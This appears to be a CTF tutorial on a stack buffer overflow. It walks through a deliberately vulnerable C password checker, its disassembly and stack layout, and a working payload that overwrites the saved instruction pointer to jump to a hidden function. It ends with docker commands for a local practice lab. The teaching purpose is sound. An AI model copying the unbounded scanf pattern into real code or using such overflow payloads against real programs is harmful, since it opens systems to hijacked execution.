Challenge example
Code source example
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void printSecret(void) {
printf("Good job !\n");
}
void checkPassword(char *password) {
char passwd[16] = ""; // array to store the password
FILE *fp = fopen(".passwd", "r");
fread(passwd, 1, 15, fp);
fclose(fp);
passwd[15] = '\0';
if (strcmp(password, passwd) == 0) {
printSecret();
} else {
printf("Permission denied !\n");
}
}
void getPassword(void) {
char password[16] = "";
printf("Enter password: ");
scanf("%s", password); // read the password from the user
checkPassword(password);
}
int main() {
getPassword();
return 0;
}
Here the objectif is to exploit the buffer overflow in order to execute the printSecret
function.
Exploitation
This program is vulnerable to Buffer Overflow. In this case, the password
array has a size of 16 characters, but the program does not check the length of the input entered by the user. This means that if the user enters a password that is longer than 15 characters, it will overwrite adjacent memory locations.
Here, password
is set alone into a specific function, so it's not possible to overwrite the passwd
variable in order to match the if condition.
However, As explained in the "operation of the stack" part, at the call of the function the process store the value of the instruction pointer onto the stack. Thus, even though the password
variable is the first declared variable into the stack frame, there is the saved instruction pointer under it.
address | values
---------------+------------------------------------------------------------------
| +---------------- HelloWorld stack frame -----------------+
| | +------------ stack marge -------------+ +-saved ebp -+ |
0xffffd264 | | | 0x00000000 0x00000000 0x00000000 | | 0xffffd298 | |
| | +--------------------------------------+ +------------+ |
| +---------------------------------------------------------+
| +-------------------- main stack frame -------------------+
| | +-saved eip -+ +---- function params ---+ |
0xffffd274: | | | 0x565561dd | | 0x00000001 0x00000002 | 0x00000001 |
| | +------------+ +------------------------+ |
Let's analyze the compiled code :
0x0804926a <+0>: push ebp
0x0804926b <+1>: mov ebp,esp
0x0804926d <+3>: sub esp,0x18
0x08049270 <+6>: mov DWORD PTR [ebp-0x18],0x0
0x08049277 <+13>: mov DWORD PTR [ebp-0x14],0x0
0x0804927e <+20>: mov DWORD PTR [ebp-0x10],0x0
0x08049285 <+27>: mov DWORD PTR [ebp-0xc],0x0
0x0804928c <+34>: sub esp,0xc
0x0804928f <+37>: push 0x804a031
0x08049294 <+42>: call 0x8049040 <printf@plt>
0x08049299 <+47>: add esp,0x10
0x0804929c <+50>: sub esp,0x8
0x0804929f <+53>: lea eax,[ebp-0x18]
0x080492a2 <+56>: push eax
0x080492a3 <+57>: push 0x804a042
0x080492a8 <+62>: call 0x80490a0 <__isoc99_scanf@plt>
0x080492ad <+67>: add esp,0x10
0x080492b0 <+70>: sub esp,0xc
0x080492b3 <+73>: lea eax,[ebp-0x18]
0x080492b6 <+76>: push eax
0x080492b7 <+77>: call 0x80491db <checkPassword>
0x080492bc <+82>: add esp,0x10
0x080492bf <+85>: nop
0x080492c0 <+86>: leave
0x080492c1 <+87>: ret
Here the process take 0x18 bytes of marge. (0x0804926d <+3>: sub esp,0x18
). remember that in the source code, the password
variable is 16 byte long (0xf), so there is :
address | values
---------------+------------------------------------------------------------------
| +--------------------- password -----------------------+
0xffffd260 | | 0x41414141 0x41414141 0x41414141 0x41414141 |
| +------------------------------------------------------+
| +------ stack marge -----+ +-saved ebp -+ +-saved eip -+
0xffffd270 | | 0x00000000 0x00000000 | | 0xffffd298 | | 0x565561dd |
| +------------------------+ +------------+ +------------+
It's possible to recover the addresse of the first instruction of the printSecret
function :
gdb-peda$ disas printSecret
Dump of assembler code for function printSecret:
0x080491c2 <+0>: push ebp
0x080491c3 <+1>: mov ebp,esp
0x080491c5 <+3>: sub esp,0x8
0x080491c8 <+6>: sub esp,0xc
0x080491cb <+9>: push 0x804a008
0x080491d0 <+14>: call 0x8049070 <puts@plt>
0x080491d5 <+19>: add esp,0x10
0x080491d8 <+22>: nop
0x080491d9 <+23>: leave
0x080491da <+24>: ret
End of assembler dump.
Therefore the input to jump in is "A" * (16+8+4) + "\xc2\x91\x04\x08"
$ echo -ne "AAAAAAAAAAAAAAAAAAAAAAAAAAAA\xc2\x91\x04\x08" | ./chall
Enter password: Permission denied !
Good job !
Segmentation fault
the exploit work because, when the process end the getPassword
function, it will restore the instruction pointer with the value saved into the stack, but this value was overloaded with a controled value. Thus the instruction pointer now target an arbitrary address unless the expeted next instruction.
Exercice
If you want to try this exploit by yourself, you can pull this docker image :
docker pull thectfrecipes/pwn:eip_overwrite
Deploy the image using the followed command :
docker run --name buffer_overflow_eip_overwrite -it --rm -d -p 3000:3000 thectfrecipes/pwn:eip_overwrite
Access to the web shell with your browser at the address : http://localhost:3000/
login: challenge
password: password
Last updated